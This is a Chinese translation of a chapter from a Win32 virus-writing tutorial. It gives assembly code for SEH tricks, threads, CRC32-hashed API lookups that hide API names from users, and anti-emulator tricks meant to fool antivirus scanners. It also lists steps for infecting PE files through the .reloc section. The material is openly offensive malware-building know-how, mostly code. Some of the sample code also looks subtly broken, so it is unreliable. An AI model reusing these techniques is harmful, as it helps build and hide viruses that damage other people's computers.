Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術

看雪資料發表於2004-05-28

【高階Win32 技術】
~~~~~~~~~~~~~~~~~~
    在這一章,我將討論一些那些不需要一整章來討論的技術,但是,不是很容易忘記的:)所以,下面我將討論這些東西:

        - Structured Exception Handler(SEH)
        - MultiThreading(多執行緒)
        - CRC32 (IT/ET)
        - AntiEmulators(反模擬)
        - Overwriting .reloc section(寫.reloc節)


 % Structured Exception Handler %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    結構化異常處理(Structured Exception Handler),簡稱SEH,是所有Win32環境的一個非常酷的特點。它所做的非常容易理解:如果一個一般保護錯誤(簡稱GPF)發生了,控制會自動傳到當前存在的SEH handler。你看到了它的輔助作用了嗎?如果你把所有東西弄亂了,你將能夠(仍然能)保持你的病毒沒法被發現:)指向SEH handler的指標是在FS:[0000]中的。所以,你可以很容易地設定你自己的新SEH handler(但是要記住儲存舊的!)如果一個錯誤發生了,控制將會傳給你的SEH handler例程,但是堆疊將會混亂。幸運的是,Micro$oft已經在設定我們的SEH handler之前把堆疊放到ESP+8的地方了:)所以,簡單的我們只要恢復它並把舊的SEH handler設定回去就可以了:)讓我們看看一個SEH使用的一個簡單例子:

;--------從這裡開始剪下-------------------------------------------------------
 
        .386p
        .model  flat                            ; Good good... 32 bit r0x0r

 extrn   MessageBoxA:PROC                ; Defined APIs
 extrn   ExitProcess:PROC

        .data

 szTitle        db      "Structured Exception Handler [SEH]",0
 szMessage      db      "Intercepted General Protection Fault!",0

        .code

 start:
        push    offset exception_handler        ; Push our exception handler
                                                ; offset
        push    dword ptr fs:[0000h]            ; 
        mov     dword ptr fs:[0000h],esp        

 errorhandler:
        mov     esp,[esp+8]                     ; Put the original SEH offset
                                                ; Error gives us old ESP
                                                ; in [ESP+8]

        pop     dword ptr fs:[0000h]            ; Restore old SEH handler

        push    1010h                           ; Parameters for MessageBoxA
        push    offset szTitle
        push    offset szMessage
        push    00h
        call    MessageBoxA                     ; Show message :]

        push    00h                       
        call    ExitProcess                     ; Exit Application

 setupSEH:
        xor     eax,eax                         ; Generate an exception
        div     eax

 end    start

;--------到這裡為止剪下-------------------------------------------------------

    正如在"Win32反除錯"那一章所看到的,除此之外SEH還有另外一個特色:)它愚弄了大多數應用級的偵錯程式。為了使你的設定一個新的SEH handler更簡單,這裡你可以用一些宏來做做這個(hi,Jacky!):

; Put SEH - Sets a new SEH handler

pseh    macro   what2do
        local   @@over_seh_handler
        call    @@over_seh_handler
        mov     esp,[esp+08h]
        what2do
@@over_seh_handler:
        xor     edx,edx
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx],esp
        endm

; Restore SEH - Restore old SEH handler

rseh    macro
        xor     edx,edx
        pop     dword ptr fs:[edx]
        pop     edx
        endm

    它的用法非常簡單。例如:

        pseh    <jmp SEH_handler>
        div     edx
        push    00h
        call    ExitProcess
SEH_handler:
        rseh
        [...]

    下面的程式碼,如果執行了,將會在'rseh'宏之後繼續,而不是終止程式。清楚了嗎?:)

%多執行緒%
~~~~~~~~
    當我被告知這個可以在Win32環境很容易實現的時候,在我的腦海中的是許多它的用處:執行程式碼而其它的程式碼(也是我們病毒的)也在執行是一個美夢,因為你節約了時間:)

    一個多工的過程的主要演算法是:

1.建立你想要執行的相關執行緒的程式碼
2.在父程式的程式碼中等待子程式結束

    這個看起來很難,但是有兩個API可以救我們。它們的名字:CreateThread 和 WaitForSingleObject。讓我們看看Win32 API列表關於這兩個API是怎麼說的...

----------------------------------------
    
    CreateThread函式在呼叫程式的地址空間中建立一個執行緒執行。

 HANDLE CreateThread(
   LPSECURITY_ATTRIBUTES lpThreadAttributes,  // ptr to thread security attrs  
   DWORD dwStackSize,                  // initial thread stack size, in bytes 
   LPTHREAD_START_ROUTINE lpStartAddress,       // pointer to thread function 
   LPVOID lpParameter,                             // argument for new thread 
   DWORD dwCreationFlags,                                   // creation flags 
   LPDWORD lpThreadId                // pointer to returned thread identifier 
  ); 
 
引數
====

?lpThreadAttributes:指向一個確定返回控制程式碼可以由子程式繼承的SECURITY_ATTRIBUTES結構。如果lpThreadAttributes是NULL,這個控制程式碼不                    能被繼承。

 Windows NT: 這個結構的lpSecurityDescriptor成員指定新執行緒的安全描述。如果lpThreadAttributes是NULL,這個執行緒獲得一個預設安全               描述。

 Windows 95: 這個結構的lpSecurityDescriptor成員被忽略了。

 ?dwStackSize: 以位元組數指定新執行緒的堆疊大小。如果指定了0,堆疊的大小預設的和程式的主執行緒的堆疊大小一樣。堆疊是在程式的記憶體空                間中自動開闢的,並線上程終止的時候釋放。注意如果需要的話,堆疊大小會增加。CreateThread試圖把由dwStackSize指定                的大小提交位元組數,如果大小超過了可利用的記憶體的話,就會失敗。

 ?lpStartAddress:新執行緒的開始地址。這個通常是一個用WINAPI呼叫慣例宣告的函式,這個函式接受一個32-bit的指標的引數,並返回一個32-bit的退出碼。它的原型是:

 DWORD WINAPI ThreadFunc( LPVOID );
 
 ?lpParameter: 指定一個傳給執行緒的32-bit的引數。

 ?dwCreationFlags:指定控制執行緒建立的額外標誌。如果CREATE_SUSPENDED標誌被指定了,執行緒將以一個掛起狀態建立,除非ResumeThread函式呼叫,將不會執行。如果這個值是0,執行緒在建立之後立即執行。這次,沒有其它的支援的值。

 ?lpThreadId: 指向一個接受執行緒標誌的32bit變數。

返回值
======
?如果函式成功了,返回值是一個新執行緒的控制程式碼。

?如果函式失敗了,返回值是NULL。為了獲得詳細的錯誤資訊,呼叫GetLastError。

 Windows 95: CreateThread僅僅是在一個32-bit的上下文中的時候才成功。一個32-bit DLL不能建立一個額外的執行緒,當那個DLL正在被一個16-bit程式呼叫的時候。

----------------------------------------

 WaitForSingleObject函式當如下的情況發生的時候返回:

?指定的物件在signaled狀態。
?過期間隔逝去了。

 DWORD WaitForSingleObject(
   HANDLE hHandle,                            // handle of object to wait for 
   DWORD dwMilliseconds                  // time-out interval in milliseconds  
  ); 

引數
====

 ?hHandle:識別物件。對一個物件型別的列表,它的控制程式碼可以指定,看看接下來的評論。 

 Windows NT:控制程式碼必須有SYNCHRONIZE訪問。想知道更多的資訊,看看Access Masks and Access Rights(訪問標誌和訪問許可權)。

 ?dwMilliseconds: 指定過期間隔,以毫秒形式。如果間隔過了,甚至物件的狀態是nonsignaled,這個函式就返回。如果dwMilliseconds是0,這個函式就測試物件的狀態並立即返回。如果dwMilliseconds是INFINITE這個函式從不會過期。

返回值
======

?如果函式成功了,返回值表明了導致函式返回的事件。

?如果函式失敗了,返回值是WAIT_FAILED。為了獲得詳細的錯誤資訊,呼叫GetLastError。

----------------------------------------
    如果這個對你來說還不夠,或者你不懂試圖解釋給你聽的子句的話,下面給出一個多執行緒的ASM例子。

;-------從這裡開始剪下------------------------------------------------------
       .586p
       .model flat

extrn   CreateThread:PROC
extrn   WaitForSingleObject:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

       .data
tit1           db      "Parent Process",0
msg1           db      "Spread your wings and fly away...",0
tit2           db      "Child Process",0
msg2           db      "Billy's awesome bullshit!",0

lpParameter    dd      00000000h
lpThreadId     dd      00000000h

       .code

multitask:
        push    offset lpThreadId               ; lpThreadId
        push    00h                             ; dwCreationFlags
        push    offset lpParameter              ; lpParameter
        push    offset child_process            ; lpStartAddress
        push    00h                             ; dwStackSize
        push    00h                             ; lpThreadAttributes
        call    CreateThread

; EAX = Thread handle

        push    00h                             ; 'Parent Process' blah blah
        push    offset tit1
        push    offset msg1
        push    00h
        call    MessageBoxA

        push    0FFh                            ; Wait infinite seconds
        push    eax                             ; Handle to wait (thread)
        call    WaitForSingleObject

        push    00h                             ; Exit program
        call    ExitProcess

child_process:
        push    00h                             ; 'Child Process' blah blah
        push    offset tit2
        push    offset msg2
        push    00h
        call    MessageBoxA
        ret
 
end     multitask

;-------到這裡為止剪下------------------------------------------------------

    如果你測試上述程式碼,你將會發現,如果你單擊了在子程式中的'Accept'按鈕,那麼你將不得不去單擊在父程式中的'Accept'按鈕。是不是很有意思呀?如果父程式死了,所有相關的執行緒和它一起死了,但是不過子程式死了,父程式還仍然存活者。

    所以看到你可以透過父程式和子程式透過WaitForSingleObject控制兩個程式相當有趣。想象一下可能性:在目錄裡搜尋一個特定檔案(如MIRC.INI)同時你在產生一個多型解密程式,並解包餘下的東西...哇! ;)

    看看Benny的關於Threads 和 Fibers (29A#4)的教程。

 % CRC32 (IT/ET) %
~~~~~~~~~~~~~~~~~~~
    好了,我們都知道(我希望是這樣)怎麼編寫一個API搜尋引擎...它相當簡單,而且你有許多教程選擇(JHB的, Lord Julus的,和這篇教程...),只要得到一個,並學習它。但是,正如你意識到的,API地址佔(讓我們說浪費)了你的病毒的許多位元組。如果你想要編寫一個小病毒,該怎麼解決這個問題呢?

    解決方法:CRC32

    我相信GriYo是第一個使用這個技術的人,在它的令人印象深刻的 Win32.Parvo病毒中(原始碼還沒有公佈)。它不是搜尋一個確定數量和我們程式碼中API名字相符的位元組,而是獲得所有的API名,一個接一個,並得到它們的CRC32值,把它和我們搜尋的API的CRC32值。如果它是等價的,那麼我們必須總是要處理。Ok,ok...首先,你需要一些獲取CRC32值的程式碼:)讓我們用Zhengxi的程式碼,首先由Vecna重新組合了,最終由我重新組合了(最佳化了一些位元組) ;)

;------從這裡開始剪下--------------------------------------------------------
;
; CRC32 procedure
; ===============
;
; input:
;   ESI = Offset where code to calculate begins
;   EDI = Size of that code
; output:
;   EAX = CRC32 of  given code
;

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Optimized by me - 2 bytes
        dec     ecx                             ; less
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
 NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
 NoCRC: dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi                             ; 1 byte less
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
 CRC32          endp

;------到這裡為止剪下--------------------------------------------------------

    我們現在知道怎麼獲得一個指定的字串或程式碼的CRC32值了,但是在這裡你在期望另外一件事情...呵呵呵,耶!你在等待API搜尋引擎的程式碼 :)

;------從這裡開始剪下--------------------------------------------------------
;
; GetAPI_ET_CRC32 procedure
; =========================
; 呵,很難的名字?這個函式在KERNEL32的輸出表中搜尋一個API名字(改變一點點將會
; 使它對任何DLL有用),但是僅僅需要API的CRC32值,不是全字串:)還需要一個就像
; 我在上面給出的獲取CRC32的例程。
;
; input:
;        EAX = CRC32 of the API ASCIIz name
; output:
;   EAX = API address
;

 GetAPI_ET_CRC32 proc
        xor     edx,edx
        xchg    eax,edx                         ; Put CRC32 of da api in EDX
        mov     word ptr [ebp+Counter],ax       ; Reset counter
        mov     esi,3Ch
        add     esi,[ebp+kernel]                ; Get PE header of KERNEL32
        lodsw
        add     eax,[ebp+kernel]                ; Normalize

        mov     esi,[eax+78h]                   ; Get a pointer to its 
        add     esi,1Ch                         ; Export Table
        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]        ; Pointer to the address table
        lodsd                                   ; Get AddressTable value
        add     eax,[ebp+kernel]                ; Normalize
        stosd                                   ; And store in its variable

        lodsd                                   ; Get NameTable value
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; Put it in stack
        stosd                                   ; Store in its variable

        lodsd                                   ; Get OrdinalTable value
        add     eax,[ebp+kernel]                ; Normalize
        stosd                                   ; Store

        pop     esi                             ; ESI = NameTable VA

 @?_3:  push    esi                             ; Save again
        lodsd                                   ; Get pointer to an API name
        add     eax,[ebp+kernel]                ; Normalize
        xchg    edi,eax                         ; Store ptr in EDI
        mov     ebx,edi                         ; And in EBX

        push    edi                             ; Save EDI
        xor     al,al                           ; Reach the null character
        scasb                                   ; that marks us the end of 
        jnz     $-1                             ; the api name
        pop     esi                             ; ESI = Pointer to API Name

        sub     edi,ebx                         ; EDI = API Name size

        push    edx                             ; Save API's CRC32
        call    CRC32                           ; Get actual api's CRC32
        pop     edx                             ; Restore API's CRC32
        cmp     edx,eax                         ; Are them equal?
        jz      @?_4                            ; if yes, we got it

        pop     esi                             ; Restore ptr to api name
        add     esi,4                           ; Get the next
        inc     word ptr [ebp+Counter]          ; And increase the counter
        jmp     @?_3                            ; Get another api!
 @?_4:
        pop     esi                             ; Remove shit from stack
        movzx   eax,word ptr [ebp+Counter]      ; AX = Counter
        shl     eax,1                           ; *2 (it's an array of words)
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; ESI = Ptr 2 ordinal; EAX = 0
        lodsw                                   ; Get ordinal in AX
        shl     eax,2                           ; And with it we go to the
        add     eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
        xchg    esi,eax                         ; dwords)
        lodsd                                   ; Get Address of API RVA
        add     eax,[ebp+kernel]                ; and normalize!! That's it!
        ret
 GetAPI_ET_CRC32 endp

 AddressTableVA dd      00000000h               ;\
 NameTableVA    dd      00000000h               ; > IN THIS ORDER!!
 OrdinalTableVA dd      00000000h               ;/

 kernel         dd      0BFF70000h              ; Adapt it to your needs ;)
 Counter        dw      0000h

;------到這裡為止剪下--------------------------------------------------------

    下面是等價的程式碼,但是現在為了操作Import Table,因此使得你能夠僅僅用這些API的CRC32就可以編一個Per-Process駐留病毒;)

;------從這裡開始剪下--------------------------------------------------------
;
; GetAPI_IT_CRC32 procedure
; =========================
;
; 這個函式將在Import Table中搜尋和傳給例程的CRC32值相符的API。這個對編寫一個
; Per-Process駐留病毒有用(看看這篇教程的"Per-Process residence"一章)。
;
; input:
;        EAX = CRC32 of the API ASCIIz name
; output:
;   EAX = API address
;        EBX = Pointer to the API address in the Import Table
;        CF  = Set if routine failed
;

 GetAPI_IT_CRC32 proc
        mov     dword ptr [ebp+TempGA_IT1],eax  ; Save API CRC32 for later

        mov     esi,dword ptr [ebp+imagebase]   ; ESI = imagebase
        add     esi,3Ch                         ; Get ptr to PE header
        lodsw                                   ; AX = That pointer
        cwde                                    ; Clear MSW of EAX
        add     eax,dword ptr [ebp+imagebase]   ; Normalize pointer
        xchg    esi,eax                         ; ESI = Such pointer
        lodsd                                   ; Get DWORD

        cmp     eax,"EP"                        ; Is there the PE mark?
        jnz     nopes                           ; Fail... duh!

        add     esi,7Ch                         ; ESI = PE header+80h
        lodsd                                   ; Look for .idata
  push    eax
        lodsd                                   ; Get size
  mov     ecx,eax
  pop     esi
        add     esi,dword ptr [ebp+imagebase]   ; Normalize
  
 SearchK32:
        push    esi                             ; Save ESI in stack
        mov     esi,[esi+0Ch]                   ; ESI = Ptr to name
        add     esi,dword ptr [ebp+imagebase]   ; Normalize
        lea     edi,[ebp+K32_DLL]               ; Ptr to 'KERNEL32.dll'
        mov     ecx,K32_Size                    ; Size of string
        cld                                     ; Clear direction flag
        push    ecx                             ; Save ECX
        rep     cmpsb                           ; Compare bytes
        pop     ecx                             ; Restore ECX
        pop     esi                             ; Restore ESI
        jz      gotcha                          ; Was it equal? Damn...
        add     esi,14h                         ; Get another field
        jmp     SearchK32                       ; And search again
 gotcha:
        cmp     byte ptr [esi],00h              ; Is OriginalFirstThunk 0?
        jz      nopes                           ; Damn if so...
        mov     edx,[esi+10h]                   ; Get FirstThunk
        add     edx,dword ptr [ebp+imagebase]   ; Normalize
        lodsd                                   ; Get it
        or      eax,eax                         ; Is it 0?
        jz      nopes                           ; Damn...

        xchg    edx,eax                         ; Get pointer to it
  add     edx,[ebp+imagebase]
  xor     ebx,ebx
 loopy:
        cmp     dword ptr [edx+00h],00h         ; Last RVA? 
        jz      nopes                           ; Damn...
        cmp     byte ptr  [edx+03h],80h         ; Ordinal?
        jz      reloop                          ; Damn...

        mov     edi,[edx]                       ; Get pointer of an imported
        add     edi,dword ptr [ebp+imagebase]   ; API 
  inc     edi
  inc     edi
        mov     esi,edi                         ; ESI = EDI

        pushad                                  ; Save all regs
        eosz_edi                                ; Get end of string in EDI
        sub     edi,esi                         ; EDI = API size

  call    CRC32
        mov     [esp+18h],eax                   ; Result in ECX after POPAD
  popad

        cmp     dword ptr [ebp+TempGA_IT1],ecx  ; Is the CRC32 of this API                                               
        jz      wegotit                         ; equal as the one we want?
 reloop:
        inc     ebx                             ; If not, loop and search for
        add     edx,4                           ; another API in the IT
  loop    loopy
 wegotit:
        shl     ebx,2                           ; Multiply per 4
        add     ebx,eax                         ; Add FirstThunk
        mov     eax,[ebx]                       ; EAX = API address
        test    al,00h                          ; Overlap: avoid STC :)
  org     $-1
 nopes:
  stc
  ret
 GetAPI_IT_CRC32 endp

 TempGA_IT1     dd      00000000h
 imagebase      dd      00400000h
 K32_DLL        db      "KERNEL32.dll",0
 K32_Size       equ     $-offset K32_DLL

;------到這裡為止剪下--------------------------------------------------------

    Happy?耶,它令人震驚而且它很簡單!而且,毫無疑問,如果你的病毒沒有加密,你可以避免使用者的懷疑,因為沒有明顯的API名字:)好了,我將列出一些API的CRC32值(包括API結束的NULL字元),但是,如果你想要使用其它的API而不是我將要列在這裡的API,我將再放一個小程式,能給你一個ASCII字串的CRC32值。

    一些API的CRC32:

 API name               CRC32        API name               CRC32
 --------               -----        --------               -----
 CreateFileA            08C892DDFh   CloseHandle            068624A9Dh
 FindFirstFileA         0AE17EBEFh   FindNextFileA          0AA700106h
 FindClose              0C200BE21h   CreateFileMappingA     096B2D96Ch
 GetModuleHandleA       082B618D4h   GetProcAddress         0FFC97C1Fh
 MapViewOfFile          0797B49ECh   UnmapViewOfFile        094524B42h
 GetFileAttributesA     0C633D3DEh   SetFileAttributesA     03C19E536h
 ExitProcess            040F57181h   SetFilePointer         085859D42h
 SetEndOfFile           059994ED6h   DeleteFileA            0DE256FDEh
 GetCurrentDirectoryA   0EBC6C18Bh   SetCurrentDirectoryA   0B2DBD7DCh
 GetWindowsDirectoryA   0FE248274h   GetSystemDirectoryA    0593AE7CEh
 LoadLibraryA           04134D1ADh   GetSystemTime          075B7EBE8h
 CreateThread           019F33607h   WaitForSingleObject    0D4540229h
 ExitThread             0058F9201h   GetTickCount           0613FD7BAh
 FreeLibrary            0AFDF191Fh   WriteFile              021777793h
 GlobalAlloc            083A353C3h   GlobalFree             05CDF6B6Ah
 GetFileSize            0EF7D811Bh   ReadFile               054D8615Ah
 GetCurrentProcess      003690E66h   GetPriorityClass       0A7D0D775h
 SetPriorityClass       0C38969C7h   FindWindowA            085AB3323h
 PostMessageA           086678A04h   MessageBoxA            0D8556CF7h
 RegCreateKeyExA        02C822198h   RegSetValueExA         05B9EC9C6h
 MoveFileA              02308923Fh   CopyFileA              05BD05DB1h
 GetFullPathNameA       08F48B20Dh   WinExec                028452C4Fh
 CreateProcessA         0267E0B05h   _lopen                 0F2F886E3h
 MoveFileExA            03BE43958h   CopyFileExA            0953F2B64h
 OpenFile               068D8FC46h

    你還想要其它的API嗎?

    你有可能需要知道其它API名字的CRC32值,所以這裡我將給出小而有效的用來幫助我自己的程式,我希望對你也有幫助。

;------從這裡開始剪下--------------------------------------------------------

        .586
        .model  flat
        .data

 extrn          ExitProcess:PROC
 extrn          MessageBoxA:PROC
 extrn          GetCommandLineA:PROC

 titulo         db "GetCRC32 by Billy Belcebu/iKX",0

 message        db "SetEndOfFile"               ; Put here the string you
                                                ; want to know its CRC32
 _              db 0
                db "CRC32 is "
 crc32_         db "00000000",0

        .code

 test:
        mov     edi,_-message
        lea     esi,message                     ; Load pointer to API name
        call    CRC32                           ; Get its CRC32

        lea     edi,crc32_                      ; Transform hex to text
        call    HexWrite32

        mov     _," "                           ; make 0 to be an space

        push    00000000h                       ; Display message box with
        push    offset titulo                   ; the API name and its CRC32
        push    offset message
        push    00000000h
        call    MessageBoxA

        push    00000000h
        call    ExitProcess

 HexWrite8      proc                            ; This code has been taken
        mov     ah,al                           ; from the 1st generation
        and     al,0Fh                          ; host of Bizatch
        shr     ah,4
        or      ax,3030h
        xchg    al,ah
        cmp     ah,39h
        ja      @@4
 @@1:
        cmp     al,39h
        ja      @@3
 @@2:
        stosw
        ret
 @@3:
        sub     al,30h
        add     al,'A' - 10
        jmp     @@2
 @@4:
        sub     ah,30h
        add     ah,'A' - 10
        jmp     @@1
 HexWrite8      endp

 HexWrite16     proc
        push    ax
        xchg    al,ah
        call    HexWrite8
        pop     ax
        call    HexWrite8
        ret
 HexWrite16     endp

 HexWrite32     proc
        push    eax
        shr     eax, 16
        call    HexWrite16
        pop     eax
        call    HexWrite16
        ret
 HexWrite32     endp

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Optimized by me - 2 bytes
        dec     ecx                             ; less
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
 NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
 NoCRC: dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi                             ; 1 byte less
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
 CRC32          endp

 end    test

;------到這裡為止剪下--------------------------------------------------------

    Cool,哈? :)

%反模擬(AntiEmulators)%
~~~~~~~~~~~~~~~~~~~~~~~
    正如在這篇文件的許多地方,這個小章節是由Super和我合作的。這裡將會有一些東西的列表,肯定會愚弄反病毒模擬系統的,一些小的偵錯程式也不例外。Enjoy!

- 用SEH產生錯誤。例子:

        pseh    <jmp virus_code>
        dec     byte ptr [edx] ; <-- or another exception, such as 'div edx'
        [...] <-- if we are here, we are being emulated!
 virus_code:
        rseh
        [...] <-- the virus code :)

 - 使用 CS 段字首。 例子:

        jmp     cs:[shit]
        call    cs:[shit]

 - 使用 RETF。例子:

        push    cs
        call    shit
        retf

 - 玩玩 DS. 例子:

        push    ds
        pop     eax

    或者甚至更好:

        push    ds
        pop     ax

    或者更好:

        mov     eax,ds
        push    eax
        pop     ds

 - 用 PUSH CS/POP REG 招檢測 NODiCE 模擬 :

        mov     ebx,esp
        push    cs
        pop     eax
        cmp     esp,ebx
        jne     nod_ice_detected

 - 使用無正式文件的操作碼:

        salc    ; db 0D6h
        bpice   ; db 0F1h

 - 使用 Threads and/or Fibers.

    我希望所有這些東西將對你有用 :)

 % 寫.reloc 節 %
~~~~~~~~~~~~~~~~~~~
    這是一個非常有意思的東西。如果PE檔案的ImageBase因為某種原因改變了,但是不是總會發生的(99.9%),'.reloc'就非常有用了,但不是必須的。而且'.reloc'節通常非常巨大,所以為什麼不使用它來儲存我們的病毒呢?我建議你讀讀b0z0在Xine#3上的教程,叫做"Ideas and theoryes on PE infection",因為它提供給我們許多有意思的資訊。好了,如果你想知道該怎樣寫.reloc節的話,只要按照如下:

        + 在節頭中:
                1. 把病毒的大小+它的堆賦給新的VirtualSize
                2. 把對齊後的VirtualSize賦給新的SizeOfRawData
                3. 清除 PointerToRelocations 和 NumberOfRelocations
                4. 改變 .reloc 名字為另外一個
        + 在PE頭中:
                1. 清除 offset A0h (RVA to fixup table)
                2. 清除 offset A4h (Size of such table)

    病毒的入口將會是節的VirtualAddress。它還有時候,隱蔽的(stealthy),因為有時候大小不增長(在不是很大的病毒中),因為relocs通常非常巨大。

相關文章